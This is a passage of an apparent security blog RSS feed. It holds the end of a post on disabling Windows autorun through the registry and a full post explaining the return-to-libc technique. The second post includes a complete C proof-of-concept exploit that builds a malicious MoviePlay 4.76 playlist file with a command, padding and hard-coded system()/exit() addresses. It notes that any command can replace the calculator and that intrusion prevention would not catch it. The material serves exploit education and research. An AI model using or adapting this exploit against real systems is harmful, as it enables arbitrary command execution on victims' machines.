@=&#8221;@SYS:DoesNotExist&#8221;</p>
<p>Once the entry has been imported and the machine rebooted, Windows will stop parsing the autorun.inf file located in any existing and new storage devices connecting to your system. Also you will notice that right-clicking on the drive will now only display &#8220;open&#8221; and &#8220;Explore&#8221; and both will just open a window when clicked and not executing any programs.</p>
<p>To enable the autorun features all you need to do is delete the entry. This can be easily done by saving the below text as a reg file and importing it.</p>
<p>REGEDIT4<br />
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]</p>
<p>References:</p>
<p><a href="http://vil.nai.com/vil/content/v_153711.htm" target="_blank">http://vil.nai.com/vil/content/v_153711.htm</a><br />
<a href="http://vil.nai.com/vil/content/v_153724.htm" target="_blank">http://vil.nai.com/vil/content/v_153724.htm</a><br />
<a href="http://www.us-cert.gov/cas/techalerts/TA09-020A.html" target="_blank">http://www.us-cert.gov/cas/techalerts/TA09-020A.html</a><br />
<a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-042106-1847-99&amp;tabid=2" target="_blank">http://www.symantec.com/security_response/writeup.jsp?docid=2008-042106-1847-99&amp;tabid=2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=68</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Just &#8220;Return to libc&#8221; It</title>
		<link>http://www.greyhathacker.net/?p=57</link>
		<comments>http://www.greyhathacker.net/?p=57#comments</comments>
		<pubDate>Sun, 07 Sep 2008 12:20:49 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Return to Libc]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=57</guid>
		<description><![CDATA[Stack-based buffer overflows use an executable stack to run code that has been injected into the stack. If the stack has been set as non-executable then jumping back into the stack will be useless as code injected into the stack will not get processed. Fortunately there is a way to get around this prevention mechanism [...]]]></description>
			<content:encoded><![CDATA[<p>Stack-based buffer overflows use an executable stack to run code that has been injected into the stack. If the stack has been set as non-executable then jumping back into the stack will be useless as code injected into the stack will not get processed. Fortunately there is a way to get around this prevention mechanism known as Return to libc. Return to libc is also known as arc injection. In return to libc, standard shared C libraries are already loaded in the process address space which programs use, because of this it gives us the ability to jump any number of functions already in memory.</p>
<p>In order to abuse “return to libc” functionality all we need to do is overwrite the return address with a function address say system() and provide arguments needed for the function for the attack to be successful. When jumped to the function address the machine instructions for that function gets executed using the arguments we have placed on the stack. The benefit to this approach is that code injection is no longer needed but also argument size will be much smaller than a typical shellcode and thus a small buffer is sufficient for exploitation. Also in this type of attack the attacker does not need to have any shellcoding knowledge making it that much easier.</p>
<p>But why wait to use this method till all stacks become non executable? Why don&#8217;t we just start using it now? After all knowledge of shellcoding is no longer needed and our argument will be much smaller and easier to input and test. Another big factor is that network-based intrusion prevention systems will not detect any shellcode present and pass it through. Sure there is the issue of the function address of system() which might be different from version to version of the operating system but what&#8217;s new. Jump addresses also change between versions if obtained from the operating system. If however a jump address had been obtained from the vulnerable program itself at least then the exploit will be universal to that vulnerable program version but how often do we see jump addresses being used from the vulnerable program? The reason being jump addresses in the program are not available or just not reliable.</p>
<p>In the POC code below a buffer overflow vulnerability had been discovered in the MoviePlay program when parsing LST files. Before our system() function is called, the parameters of the function (our command to execute in this case) have to be pushed onto the stack.</p>
<p>/*<br />
[MoviePlay]<br />
FileName0=C:\ + [command + padding + return address + dummy return address + pointer to command]<br />
FileName1=<br />
NumFiles=1<br />
*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>int main(int argc, char *argv[])<br />
{<br />
FILE *poc;<br />
int i;</p>
<p>printf(&#8220;\nMoviePlay 4.76 Player playlist (LST) Buffer Overflow Exploit\n&#8221;);<br />
if (argc &lt; 2)<br />
{<br />
printf(&#8220;\nUsage: %s &lt;playlistfilename&gt;\n\n&#8221;, argv[0]);<br />
return 1;<br />
}<br />
if ((poc = fopen(argv[1], &#8220;w&#8221;)) == NULL )<br />
{<br />
printf(&#8220;\n[-] Unable to create file\n\n&#8221;);<br />
return -1;<br />
}<br />
fputs(&#8220;[MoviePlay]\n&#8221;, poc);<br />
fputs(&#8220;FileName0=C:\\&#8221;, poc);</p>
<p>// Command<br />
fputs(&#8220;cmd /C calc &#8220;, poc);</p>
<p>// Padding<br />
for (i=0; i&lt;1041; i++)<br />
fputs(&#8220;\x41&#8243;, poc);</p>
<p>// Return address system() XPSP2<br />
fputs(&#8220;\xC7\x93\xC2\x77&#8243;, poc);</p>
<p>// Fake return address for system(), exit() XPSP2<br />
fputs(&#8220;\x7E\x9E\xC3\x77&#8243;, poc);</p>
<p>// Pointer to command<br />
fputs(&#8220;\x73\xD4\x27\x00&#8243;, poc);<br />
fputs(&#8220;\n&#8221;, poc);<br />
fputs(&#8220;FileName1=\n&#8221;, poc);<br />
fputs(&#8220;NumFiles=1\n&#8221;, poc);</p>
<p>printf(&#8220;\n[+] File %s created\n\n&#8221;, argv[1]);<br />
fclose(poc);<br />
return 0;<br />
}</p>
<p>The dummy return address is needed for the system() function which in this case points to the exit() function thus providing a clean exit without producing any crashes. The final part of our string is “pointer to command” points to our command string in the stack. This address can be easily obtained by examining our stack as shown in the screenshot. Our command can now be placed anywhere in the buffer so long our pointer to command points to the first letter of our command. In this POC the command only executes Windows calculator but any command string can be entered and is left to our imagination.</p>
<p> <a href="http://www.greyhathacker.net/images/movieplay.jpg" target="_blank"><img class="alignnone" title="MoviePlay" src="http://www.greyhathacker.net/images/movieplayt.jpg" alt="" width="400" height="255" /></a></p>
<p>References:</p>
<p><a href="http://secunia.com/advisories/22959/" target="_blank">http://secunia.com/advisories/22959/</a><br />
<a href="http://www.milw0rm.com/exploits/4051/" target="_blank">http://www.milw0rm.com/exploits/4051/</a><br />
<a href="http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf" target="_blank">http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=57</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
